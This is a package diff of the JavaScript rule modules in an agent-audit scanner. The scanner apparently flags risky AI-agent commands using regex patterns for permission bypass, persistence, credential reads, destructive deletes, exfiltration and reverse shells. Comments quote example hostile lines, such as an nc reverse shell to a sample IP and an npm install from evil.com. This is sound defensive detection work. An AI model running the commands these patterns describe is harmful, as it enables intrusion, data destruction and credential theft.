@fanzhen/agent-audit 0.3.0

package/dist/rules/bypass.js

@@ -0,0 +1,231 @@
+// Ported 1:1 from src/agentaudit/rules/bypass.py (Python implementation is the spec).
+// Patterns use String.raw so they stay character-for-character identical to the
+// Python raw strings; adjacent String.raw`` segments concatenate exactly like
+// the adjacent string literals in the .py file.
+// Python keeps these as class-level `re.compile` attributes; here they are
+// module-level RegExp consts, grouped right above the class that uses them.
+import { FileWrite, ShellCommand, pathBasename, } from "../events.js";
+import { RegexRule, Rule } from "./base.js";
+const B001_NAME_RE = new RegExp(String.raw `^settings(\.local)?\.json$`, "i");
+// middle spans capped {0,2000}: adversarial repeated anchors stay linear (ReDoS hardening)
+const B001_DANGER_RE = new RegExp(String.raw `"allow"\s*:\s*\[[^\]]{0,2000}"(Bash|Edit|Write|WebFetch|\*)`, "i");
+export class B001 extends Rule {
+    id = "B001";
+    severity = "critical";
+    title = "Loosened Claude Code permissions";
+    explanation = "settings.json allow-list was widened to powerful tools or wildcards.";
+    recommendation = "Revert the permission change; audit what ran while it was active.";
+    appliesTo = [FileWrite];
+    check(event) {
+        if (!(event instanceof FileWrite)) {
+            return null;
+        }
+        // (JS `$` here anchors strictly at end-of-string; Python's would also take a
+        // trailing "\n" — impossible for a basename, so no behavioral difference.)
+        if (!B001_NAME_RE.test(pathBasename(event.path))) {
+            return null;
+        }
+        if (!event.content || !B001_DANGER_RE.test(event.content)) {
+            return null;
+        }
+        return {
+            ruleId: this.id,
+            severity: this.severity,
+            title: this.title,
+            event,
+            evidence: event.path.slice(0, 200),
+            explanation: this.explanation,
+            recommendation: this.recommendation,
+        };
+    }
+}
+const B002_SHELL_RE = new RegExp(String.raw `--dangerously-skip-permissions|--yolo\b` +
+    String.raw `|claude\s+config\s+set\b[^|;&\n]{0,400}(bypassPermissions|allowedTools)`, "i");
+const B002_FILE_RE = new RegExp(String.raw `"defaultMode"\s*:\s*"bypassPermissions"|"hooks"\s*:\s*\{\s*\}`, "i");
+export class B002 extends Rule {
+    id = "B002";
+    severity = "high";
+    title = "Disabled safety mechanisms";
+    explanation = "Bypass-permission flags or empty hooks disable the agent's safety net.";
+    recommendation = "Re-enable permissions/hooks; review actions taken while disabled.";
+    appliesTo = [ShellCommand, FileWrite];
+    check(event) {
+        let evidence;
+        if (event instanceof ShellCommand) {
+            const m = B002_SHELL_RE.exec(event.raw);
+            evidence = m ? m[0] : null;
+        }
+        else if (event instanceof FileWrite) {
+            if (!pathBasename(event.path).startsWith("settings")) {
+                return null;
+            }
+            evidence = B002_FILE_RE.test(event.content ?? "") ? event.path : null;
+        }
+        else {
+            return null;
+        }
+        if (!evidence) {
+            return null;
+        }
+        return {
+            ruleId: this.id,
+            severity: this.severity,
+            title: this.title,
+            event,
+            evidence: evidence.slice(0, 200),
+            explanation: this.explanation,
+            recommendation: this.recommendation,
+        };
+    }
+}
+// NOTE: `[\w./\\~-]*` (DEVIATION from the plan's `\S*`): `\S*` also consumes
+// `>` characters, so on a `>`-heavy command (e.g. 20k `>` chars) every position
+// rescans the whole tail — 3.2s quadratic blowup, same class as the C002/E005
+// findings. A redirect-target path-char class cannot cross whitespace or `>`,
+// keeping the scan linear (3.3ms) while still matching `>> ~/.bashrc`.
+// Trade-off: quoted targets (`>> "$HOME/.bashrc"`) no longer match the shell
+// channel; the FileWrite channel still catches the actual write.
+const B003_SHELL_RE = new RegExp(String.raw `(>>|>)\s*[\w./\\~-]*(\.bashrc|\.zshrc|\.profile|\.bash_profile|\.zprofile)\b` +
+    String.raw `|Add-Content\s+\$PROFILE|Out-File\s+\$PROFILE`, "i");
+const B003_RC_NAMES = new Set([
+    ".bashrc", ".zshrc", ".bash_profile", ".zprofile", ".profile",
+    "Microsoft.PowerShell_profile.ps1",
+]);
+export class B003 extends Rule {
+    id = "B003";
+    severity = "high";
+    title = "Shell profile modification";
+    explanation = "Writing to shell RC files persists commands that run on every new shell.";
+    recommendation = "Inspect the written content; remove unknown lines.";
+    appliesTo = [ShellCommand, FileWrite];
+    check(event) {
+        let evidence;
+        if (event instanceof ShellCommand) {
+            const m = B003_SHELL_RE.exec(event.raw);
+            if (!m) {
+                return null;
+            }
+            evidence = m[0];
+        }
+        else if (event instanceof FileWrite) {
+            if (!B003_RC_NAMES.has(pathBasename(event.path))) {
+                return null;
+            }
+            evidence = event.path;
+        }
+        else {
+            return null;
+        }
+        return {
+            ruleId: this.id,
+            severity: this.severity,
+            title: this.title,
+            event,
+            evidence: evidence.slice(0, 200),
+            explanation: this.explanation,
+            recommendation: this.recommendation,
+        };
+    }
+}
+// NOTE: `\\(Run|RunOnce)\b` (DEVIATION from the plan's `\\(Run|RunOnce)\\`):
+// the plan's trailing `\\` required a backslash AFTER the Run key, but real
+// commands end the key path there ("...\CurrentVersion\Run /v x /d y"), so the
+// planned pattern missed its own planned test case. `\b` matches both
+// "...\Run /v" and "...\RunOnce\x" and still rejects "reg add HKCU\Software\Other".
+const B004_SHELL_RE = new RegExp(String.raw `crontab\s+(-e|-r|--edit|--remove)\b` +
+    String.raw `|systemctl\s+(enable|start)\b` +
+    String.raw `|launchctl\s+(load|bootstrap)\b` +
+    String.raw `|schtasks\s+/create\b` +
+    String.raw `|reg\s+add\b[^|;&\n]{0,400}\\(Run|RunOnce)\b` +
+    String.raw `|\bsc\s+create\b`, "i");
+const B004_FILE_RE = new RegExp(String.raw `LaunchAgents|/etc/cron\.|systemd/system`, "i");
+export class B004 extends Rule {
+    id = "B004";
+    severity = "critical";
+    title = "System persistence installed";
+    explanation = "Cron/systemd/LaunchAgent/registry-run entries execute at boot or on schedule.";
+    recommendation = "Remove the persistence entry and inspect what it executes.";
+    appliesTo = [ShellCommand, FileWrite];
+    check(event) {
+        let evidence;
+        if (event instanceof ShellCommand) {
+            const m = B004_SHELL_RE.exec(event.raw);
+            if (!m) {
+                return null;
+            }
+            evidence = m[0];
+        }
+        else if (event instanceof FileWrite) {
+            if (!B004_FILE_RE.test(event.path)) {
+                return null;
+            }
+            evidence = event.path;
+        }
+        else {
+            return null;
+        }
+        return {
+            ruleId: this.id,
+            severity: this.severity,
+            title: this.title,
+            event,
+            evidence: evidence.slice(0, 200),
+            explanation: this.explanation,
+            recommendation: this.recommendation,
+        };
+    }
+}
+// NOTE: `[\w./\\~-]*` instead of the plan's `\S*` — see B003 (quadratic on
+// `>`-heavy commands); still matches `>> ~/.ssh/authorized_keys` and
+// `tee -a ~/.ssh/authorized_keys`.
+const B005_SHELL_RE = new RegExp(String.raw `(>>?|tee\s+-a)\s*[\w./\\~-]*authorized_keys` +
+    String.raw `|ssh-keygen[^|;&\n]{0,400}\|\s*(tee|cat)\b`, "i");
+export class B005 extends Rule {
+    id = "B005";
+    severity = "critical";
+    title = "authorized_keys modified";
+    explanation = "New SSH authorized keys grant remote login access.";
+    recommendation = "Remove unrecognized keys; rotate if the machine is exposed.";
+    appliesTo = [ShellCommand, FileWrite];
+    check(event) {
+        let evidence;
+        if (event instanceof ShellCommand) {
+            const m = B005_SHELL_RE.exec(event.raw);
+            if (!m) {
+                return null;
+            }
+            evidence = m[0];
+        }
+        else if (event instanceof FileWrite) {
+            if (pathBasename(event.path) !== "authorized_keys") {
+                return null;
+            }
+            evidence = event.path;
+        }
+        else {
+            return null;
+        }
+        return {
+            ruleId: this.id,
+            severity: this.severity,
+            title: this.title,
+            event,
+            evidence: evidence.slice(0, 200),
+            explanation: this.explanation,
+            recommendation: this.recommendation,
+        };
+    }
+}
+export class B006 extends RegexRule {
+    // v0.1.1: prefix class also admits " ' / so `/usr/bin/sudo x` and
+    // `sh -c "sudo x"` forms are caught (word-start sudo only, sudoedit safe)
+    static pattern = String.raw `(^|[\s;&|(\"'/])sudo\s|Start-Process\b[^|;&\n]{0,400}-Verb\s+RunAs`;
+    id = "B006";
+    severity = "medium";
+    title = "Privilege escalation via sudo";
+    explanation = "Commands ran as root; blast radius of any mistake or injection is the whole machine.";
+    recommendation = "Check each sudo invocation was justified.";
+}
+export function rules() {
+    return [new B001(), new B002(), new B003(), new B004(), new B005(), new B006()];
+}

package/dist/rules/credentials.js

@@ -0,0 +1,70 @@
+import { RegexRule } from "./base.js";
+export class C001 extends RegexRule {
+    // middle spans capped {0,400}: adversarial repeated anchors stay linear (ReDoS hardening)
+    static pattern = String.raw `\b(cat|type|less|more|head|tail|bat|Get-Content|gc)\b[^|;&\n]{0,400}\.env\b`;
+    id = "C001";
+    severity = "high";
+    title = "Read .env file";
+    explanation = ".env files typically hold API keys and database credentials.";
+    recommendation = "Check whether the secret values were further used or transmitted.";
+}
+export class C002 extends RegexRule {
+    static pattern = String.raw `\bid_(rsa|ed25519|ecdsa)\b` +
+        // \b prefix + {1,200} cap keep the scan linear: '.' and '/' are non-word
+        // chars inside the class, so each word->punct transition is a fresh start
+        // candidate whose greedy run backtracks (quadratic on dot/slash-heavy tokens)
+        String.raw `|\b[\w./\\-]{1,200}\.(pem|key|ppk)\b` +
+        String.raw `|\bserviceAccount[\w.-]*\.json\b`;
+    id = "C002";
+    severity = "high";
+    title = "Read key material";
+    explanation = "Private keys and service-account files grant long-lived access.";
+    recommendation = "Rotate the key if it was exposed to the model context.";
+}
+export class C003 extends RegexRule {
+    static pattern = String.raw `\.aws\b|\.ssh\b|\.gnupg\b|\.npmrc\b` +
+        String.raw `|\.docker[/\\]config\.json` +
+        String.raw `|\.kube[/\\]config\b`;
+    id = "C003";
+    severity = "high";
+    title = "Access credential directory";
+    explanation = "~/.aws, ~/.ssh, ~/.gnupg, .npmrc and .kube/config hold machine-wide credentials.";
+    recommendation = "Review what was read; rotate credentials if contents entered model context.";
+}
+export class C004 extends RegexRule {
+    static pattern = String.raw `security\s+find-(generic|internet)-password\b` +
+        String.raw `|\bpass\s+show\b` +
+        String.raw `|keyctl\s+(get|pipe)`;
+    id = "C004";
+    severity = "critical";
+    title = "Query OS keychain / password manager";
+    explanation = "Keychain or password-store queries can dump stored account credentials.";
+    recommendation = "Rotate affected credentials immediately.";
+}
+export class C005 extends RegexRule {
+    static pattern = String.raw `Login\s+Data\b` +
+        String.raw `|cookies\.sqlite\b` +
+        String.raw `|User\s+Data[/\\]+(Default|Profile)`;
+    id = "C005";
+    severity = "high";
+    title = "Access browser sensitive data";
+    explanation = "Browser login/cookie databases expose all saved sessions.";
+    recommendation = "Sign out affected accounts; consider the sessions compromised.";
+}
+export class C006 extends RegexRule {
+    // NOTE: DEVIATION from the plan's `(^|[\s;&|])(env|printenv)\b...`: the plan's
+    // version let any whitespace precede `env`, so "python -m venv env" (env as a
+    // mere argument) false-positived. Prefix is restricted to start-of-string or a
+    // command separator (;, &, |), so piped `env` dumps like "echo hi | env" still hit.
+    static pattern = String.raw `(^|[;&|])\s*(env|printenv)\b(\s*$|\s*\||\s*;)` +
+        String.raw `|Get-ChildItem\s+env:` +
+        String.raw `|\bgci\s+env:`;
+    id = "C006";
+    severity = "medium";
+    title = "Dump all environment variables";
+    explanation = "env dumps often include API tokens injected via CI/CD secrets.";
+    recommendation = "Check whether secret-looking values were printed or forwarded.";
+}
+export function rules() {
+    return [new C001(), new C002(), new C003(), new C004(), new C005(), new C006()];
+}

package/dist/rules/destructive.js

@@ -0,0 +1,70 @@
+import { RegexRule } from "./base.js";
+export class D001 extends RegexRule {
+    // NOTE: "rm" intentionally has no leading \b so compound commands like
+    // "git rm -rf" still hit.
+    // middle spans capped {0,400}: adversarial repeated anchors stay linear (ReDoS hardening)
+    static pattern = 
+    // flag cluster containing both r and f (no trailing \b: -rfi etc. still hit)
+    String.raw `rm\s+(-[a-zA-Z]*r[a-zA-Z]*f|-[a-zA-Z]*f[a-zA-Z]*r)` +
+        // separated flags: rm -r ... -f (either order), long flags included
+        String.raw `|rm\b[^|;&\n]{0,400}\s-r[a-zA-Z]*\b[^|;&\n]{0,400}\s-f[a-zA-Z]*\b` +
+        String.raw `|rm\b[^|;&\n]{0,400}\s-f[a-zA-Z]*\b[^|;&\n]{0,400}\s-r[a-zA-Z]*\b` +
+        String.raw `|rm\b[^|;&\n]{0,400}--recursive\b[^|;&\n]{0,400}--force\b` +
+        String.raw `|rm\b[^|;&\n]{0,400}--force\b[^|;&\n]{0,400}--recursive\b` +
+        String.raw `|\brd\s+/s\s+/q\b` +
+        // /s and /q anywhere in the del command (any flag order/prefix)
+        String.raw `|\bdel\b[^|;&\n]{0,400}/s\b[^|;&\n]{0,400}/q\b` +
+        String.raw `|\bdel\b[^|;&\n]{0,400}/q\b[^|;&\n]{0,400}/s\b` +
+        String.raw `|Remove-Item\b[^|;&\n]{0,400}-Recurse\b[^|;&\n]{0,400}-Force` +
+        String.raw `|Remove-Item\b[^|;&\n]{0,400}-Force\b[^|;&\n]{0,400}-Recurse`;
+    id = "D001";
+    severity = "critical";
+    title = "Recursive force delete";
+    explanation = "Recursive force deletion can wipe entire directory trees beyond recovery.";
+    recommendation = "Confirm the deleted path scope; restore from VCS/backup if unintended.";
+}
+export class D002 extends RegexRule {
+    static pattern = String.raw `git\s+reset\s+--hard\b` +
+        String.raw `|git\s+clean\s+-\w*f` +
+        String.raw `|git\s+push\b[^|;&\n]{0,400}(\s--force\b|\s--force-with-lease\b|\s-[a-z]*f[a-z]*\b)` +
+        String.raw `|git\s+reflog\s+expire\b`;
+    id = "D002";
+    severity = "high";
+    title = "Destructive git operation";
+    explanation = "Hard resets, force pushes and clean can silently discard committed or uncommitted work.";
+    recommendation = "Check reflog; force-push only with explicit user intent.";
+}
+export class D003 extends RegexRule {
+    static pattern = String.raw `chmod\s+(-R\s+)?0?777\b`;
+    id = "D003";
+    severity = "medium";
+    title = "World-writable permissions (chmod 777)";
+    explanation = "chmod 777 makes files writable by every user on the machine.";
+    recommendation = "Use the narrowest permission set that works.";
+}
+export class D004 extends RegexRule {
+    static pattern = String.raw `\bdd\b[^|;&\n]{0,400}of=/dev/\w+` +
+        String.raw `|\bmkfs(\.\w+)?\b` +
+        String.raw `|diskutil\s+erase\w*` +
+        String.raw `|\bformat\s+[a-zA-Z]:(\s|$|;)`;
+    id = "D004";
+    severity = "critical";
+    title = "Disk-level write/erase";
+    explanation = "Raw device writes and filesystem formatting destroy all data on the target disk.";
+    recommendation = "Verify the target device; recover from backup if unintended.";
+}
+export class D005 extends RegexRule {
+    static pattern = String.raw `docker\s+system\s+prune\b[^|;&\n]{0,400}(\s--volumes\b|\s--all\b|\s-[a-z]*a[a-z]*\b)` +
+        String.raw `|killall\s+\w+` +
+        // single middle span: the system-process name is the strong signal;
+        // a chained /\im\b + name middle was quadratic on repeated anchors
+        String.raw `|taskkill\b[^|;&\n]{0,400}\b(explorer|svchost|csrss|wininit)\b`;
+    id = "D005";
+    severity = "high";
+    title = "System-level destructive action";
+    explanation = "Pruning all docker resources or killing system processes can take down unrelated services.";
+    recommendation = "Scope the operation to named resources only.";
+}
+export function rules() {
+    return [new D001(), new D002(), new D003(), new D004(), new D005()];
+}

package/dist/rules/exfiltration.js

@@ -0,0 +1,101 @@
+// Ported 1:1 from src/agentaudit/rules/exfiltration.py (Python implementation is the spec).
+// Patterns use String.raw so they stay character-for-character identical to the
+// Python raw strings; adjacent String.raw`` segments concatenate exactly like
+// the adjacent string literals in the .py file.
+import { ShellCommand } from "../events.js";
+import { RegexRule, Rule } from "./base.js";
+export class E001 extends RegexRule {
+    // NOTE: `-d\s*@` (DEVIATION from the plan's `-d\s+@`): curl accepts the
+    // attached form `-d@file` with no space, which `\s+` missed.
+    // middle spans capped {0,400}: adversarial repeated anchors stay linear (ReDoS hardening)
+    static pattern = String.raw `(\bcat|\btype)\b[^|;&\n]{0,400}(id_rsa|\.pem\b|\.env\b|\.key\b)[^|;&\n]{0,400}\|[^|;&\n]{0,400}\b(curl|wget)\b` +
+        String.raw `|\b(curl|wget)\b[^|;&\n]{0,400}(--data\b|-d)\s*@` +
+        String.raw `|\b(curl|wget)\b[^|;&\n]{0,400}-F\b[^|;&\n]{0,400}file=@`;
+    id = "E001";
+    severity = "critical";
+    title = "Pipe/upload secrets to network";
+    explanation = "Secret file contents are sent to a remote endpoint.";
+    recommendation = "Treat the secret as compromised; rotate and block the destination.";
+}
+export class E002 extends RegexRule {
+    static pattern = String.raw `\$\(\s*(cat|type)\s+[^)\n]{0,400}(id_rsa|\.pem\b|\.env\b|\.key\b)`;
+    id = "E002";
+    severity = "critical";
+    title = "Command-substitution exfiltration";
+    explanation = "Command substitution $(cat <secret>) inlines secret contents into another command.";
+    recommendation = "Treat the secret as compromised; rotate it.";
+}
+export class E003 extends RegexRule {
+    static pattern = String.raw `pastebin\.com|transfer\.sh|0x0\.st|paste\.ee` +
+        String.raw `|discord(?:app)?\.com/api/webhooks` +
+        String.raw `|api\.telegram\.org/bot`;
+    id = "E003";
+    severity = "critical";
+    title = "Upload to paste site / webhook";
+    explanation = "Paste services and chat webhooks are common exfiltration destinations.";
+    recommendation = "Delete the paste/webhook message; rotate anything it contained.";
+}
+export class E004 extends RegexRule {
+    static pattern = String.raw `git\s+remote\s+add\b`;
+    id = "E004";
+    severity = "high";
+    title = "Add git remote";
+    explanation = "A newly added remote is a potential push destination for source code.";
+    recommendation = "Verify the remote URL is trusted before pushing anything.";
+}
+const ARCHIVE_CREATE_RE = new RegExp(String.raw `zip\s+-\w*r|tar\s+-\w*c\w*f|Compress-Archive`, "i");
+// NOTE: DEVIATION from the plan's `(\S+\.(?:zip|...))`: an unanchored `\S+` is a
+// start candidate at every position and backtracks the whole token per position —
+// quadratic on long commands. Same fix family as C002: \b prefix + path-char
+// class {1,200} cap keeps the scan linear (dot/slash-heavy tokens included) and
+// still matches relative paths like ./builds/proj.zip.
+const ARCHIVE_NAME_RE = new RegExp(String.raw `(\b[\w./\\-]{1,200}\.(?:zip|tar\.gz|tgz|tar|7z))(?:\s|$|[;&|])`, "i");
+const UPLOAD_CMD_RE = new RegExp(String.raw `\b(curl|wget|scp|sftp)\b`, "i");
+export class E005 extends Rule {
+    // Stateful: remembers the most recent archive artifact per session.
+    //
+    // The engine constructs fresh rule instances per run (allRules() factory),
+    // so this map never outlives one scan.
+    //
+    // By design, a combined one-liner ("zip ... && curl -F file=@out.zip ...") is
+    // treated as archive-create only: it stores the artifact and fires on a LATER
+    // separate upload event, never on the create event itself.
+    id = "E005";
+    // v0.1.1: whole-repo archive-then-upload raised from MEDIUM to HIGH
+    severity = "high";
+    title = "Archive-then-upload pattern";
+    explanation = "A directory was archived and the archive was immediately uploaded within the same session.";
+    recommendation = "Confirm the upload destination is authorized for this codebase.";
+    appliesTo = [ShellCommand];
+    // Python: self._last_archive: dict[str, str] = {}  (keyed by session_id)
+    lastArchive = new Map();
+    check(event) {
+        if (!(event instanceof ShellCommand) || !event.raw) {
+            return null;
+        }
+        const m = ARCHIVE_NAME_RE.exec(event.raw);
+        if (m && ARCHIVE_CREATE_RE.test(event.raw)) {
+            this.lastArchive.set(event.sessionId, m[1]);
+            return null;
+        }
+        if (UPLOAD_CMD_RE.test(event.raw)) {
+            const target = this.lastArchive.get(event.sessionId);
+            if (target !== undefined && event.raw.includes(target)) {
+                this.lastArchive.delete(event.sessionId);
+                return {
+                    ruleId: this.id,
+                    severity: this.severity,
+                    title: this.title,
+                    event,
+                    evidence: event.raw.slice(0, 200),
+                    explanation: this.explanation,
+                    recommendation: this.recommendation,
+                };
+            }
+        }
+        return null;
+    }
+}
+export function rules() {
+    return [new E001(), new E002(), new E003(), new E004(), new E005()];
+}

package/dist/rules/index.js

@@ -0,0 +1,21 @@
+import { rules as bypass } from "./bypass.js";
+import { rules as credentials } from "./credentials.js";
+import { rules as destructive } from "./destructive.js";
+import { rules as exfiltration } from "./exfiltration.js";
+import { rules as unsafe } from "./unsafe.js";
+export const CATEGORY_TITLES = new Map([
+    ["D", "Destructive operations"],
+    ["C", "Credential access"],
+    ["E", "Data exfiltration"],
+    ["B", "Bypass & persistence"],
+    ["U", "Unsafe execution"],
+]);
+export function allRules() {
+    return [
+        ...destructive(),
+        ...credentials(),
+        ...exfiltration(),
+        ...bypass(),
+        ...unsafe(),
+    ];
+}

package/dist/rules/unsafe.js

@@ -0,0 +1,85 @@
+// Ported 1:1 from src/agentaudit/rules/unsafe.py (Python implementation is the spec).
+// Patterns use String.raw so they stay character-for-character identical to the
+// Python raw strings; adjacent String.raw`` segments concatenate exactly like
+// the adjacent string literals in the .py file.
+import { NetworkRequest, ShellCommand } from "../events.js";
+import { RegexRule } from "./base.js";
+export class U001 extends RegexRule {
+    // middle spans capped {0,400}: adversarial repeated anchors stay linear (ReDoS hardening)
+    // \b prefix (v0.1.1): `xcurl ... | sh` must not match
+    static pattern = String.raw `\b(curl|wget|iwr|Invoke-WebRequest)\b[^|;&\n]{0,400}\|` +
+        String.raw `\s*(sudo\s+)?(iex|Invoke-Expression|(ba|z|da)?sh)\b`;
+    id = "U001";
+    severity = "critical";
+    title = "Pipe remote content into shell";
+    explanation = "Downloads executed without inspection run arbitrary attacker-controlled code.";
+    recommendation = "Download, review, then run; remove any persistence the script added.";
+}
+export class U002 extends RegexRule {
+    // middle spans capped {0,400}: adversarial repeated anchors stay linear (ReDoS hardening)
+    static pattern = String.raw `base64\s+(-d|--decode)\b[^|;&\n]{0,400}\|[^|;&\n]{0,400}sh\b` +
+        String.raw `|FromBase64String` +
+        String.raw `|echo\s+[A-Za-z0-9+/=]{60,}\s*\|\s*(ba)?sh\b`;
+    id = "U002";
+    severity = "high";
+    title = "Execute obfuscated payload";
+    explanation = "Base64-decoded execution hides the real payload from review.";
+    recommendation = "Decode the payload and inspect it before trusting the session.";
+}
+export class U003 extends RegexRule {
+    // NOTE: `(?![\w.])` after each host (DEVIATION from the plan's bare literals):
+    // the plan's pattern matched the IP inside `169.254.169.254.evil.com`, failing
+    // its own planned miss case (subdomain squatting). The lookahead rejects the
+    // host only when more hostname (word chars or dots) follows; the real
+    // endpoints are followed by `/`, `:`, whitespace or end (e.g.
+    // `169.254.169.254/latest/meta-data/` still matches).
+    static pattern = String.raw `169\.254\.169\.254(?![\w.])|169\.254\.170\.2(?![\w.])` +
+        String.raw `|metadata\.google\.internal(?![\w.])|metadata\.azure\.com(?![\w.])`;
+    id = "U003";
+    severity = "critical";
+    title = "Cloud metadata endpoint access";
+    explanation = "Instance metadata endpoints return cloud credentials (SSRF to IAM takeover).";
+    recommendation = "Rotate cloud credentials for the instance immediately.";
+    appliesTo = [ShellCommand, NetworkRequest];
+}
+export class U004 extends RegexRule {
+    // middle spans capped {0,400}: adversarial repeated anchors stay linear (ReDoS hardening)
+    // NOTE: npm branch accepts ANY `https?://`/`git+` (DEVIATION from the plan's
+    // `git\+?https?://|https?://\S+\.git\b`): the plan's pattern required a `.git`
+    // suffix and missed its own planned hit case `npm install -g https://evil.com/pkg.tgz`.
+    // Mirrors the pip branch in the same pattern (any URL = unpinned install).
+    static pattern = String.raw `(npm|pnpm|yarn)\s+(i|install)\b[^|;&\n]{0,400}(https?://|git\+)` +
+        String.raw `|pip3?\s+install\b[^|;&\n]{0,400}(https?://|git\+)`;
+    id = "U004";
+    severity = "low";
+    title = "Install from unpinned URL";
+    explanation = "Global installs from raw URLs bypass package registries and integrity checks.";
+    recommendation = "Prefer registry installs with pinned versions.";
+}
+export class U005 extends RegexRule {
+    // middle spans capped {0,400}: adversarial repeated anchors stay linear (ReDoS hardening)
+    // NOTE: `/?(bin/|usr/bin/)?` before `(ba)?sh` (DEVIATION from the plan's
+    // `/?(ba)?sh`): the plan's pattern required `sh` right after the optional
+    // slash and missed its own planned hit case `nc -e /bin/sh 10.0.0.1 4444`
+    // (the canonical GTFOBins form, where `bin/` sits between `/` and `sh`).
+    // Explicit path segments (not `\S*`) keep backtracking bounded.
+    static pattern = String.raw `\bnc\b[^|;&\n]{0,400}\s-e\s+/?(bin/|usr/bin/)?(ba)?sh\b` +
+        String.raw `|/dev/tcp/` +
+        String.raw `|\bsocat\b[^|;&\n]{0,400}exec`;
+    id = "U005";
+    severity = "critical";
+    title = "Reverse-shell pattern";
+    explanation = "Reverse shells hand an interactive machine shell to a remote party.";
+    recommendation = "Kill the connection; investigate the machine for further compromise.";
+}
+export class U006 extends RegexRule {
+    static pattern = String.raw `chmod\s+\+x\s+\S+\s*(&&|;)\s*\./`;
+    id = "U006";
+    severity = "medium";
+    title = "Downloaded binary executed";
+    explanation = "A file was made executable and immediately run in one command.";
+    recommendation = "Verify the binary's origin and hash before further use.";
+}
+export function rules() {
+    return [new U001(), new U002(), new U003(), new U004(), new U005(), new U006()];
+}

package/dist/tty-gate.js

@@ -0,0 +1,18 @@
+// Ledger M (win32 colors): picocolors decides color support ONCE, at import
+// time — `isColorSupported` is a module-level `let` computed from env/argv and
+// `module.exports = createColors()` bakes the formatters in immediately, so a
+// NO_COLOR assignment made later (e.g. at the top of main()) has no effect.
+// Python's rich instead gates each Console on .isatty() per creation, so a
+// piped run renders plain there. To match: this gate must run BEFORE
+// picocolors is first imported. cli.ts imports this module as its FIRST import
+// (ESM evaluates imports in declaration order), which guarantees the ordering
+// against report.js -> picocolors. Verified with picocolors 1.1.1 source:
+// no lazy per-call env re-read exists.
+//
+// Matches the Python CLI surface: colored when stdout is a real terminal,
+// plain when piped/captured. NO_COLOR already set means the user opted out
+// explicitly and is always respected.
+if (!process.stdout.isTTY && !process.env.NO_COLOR) {
+    process.env.NO_COLOR = "1";
+}
+export {};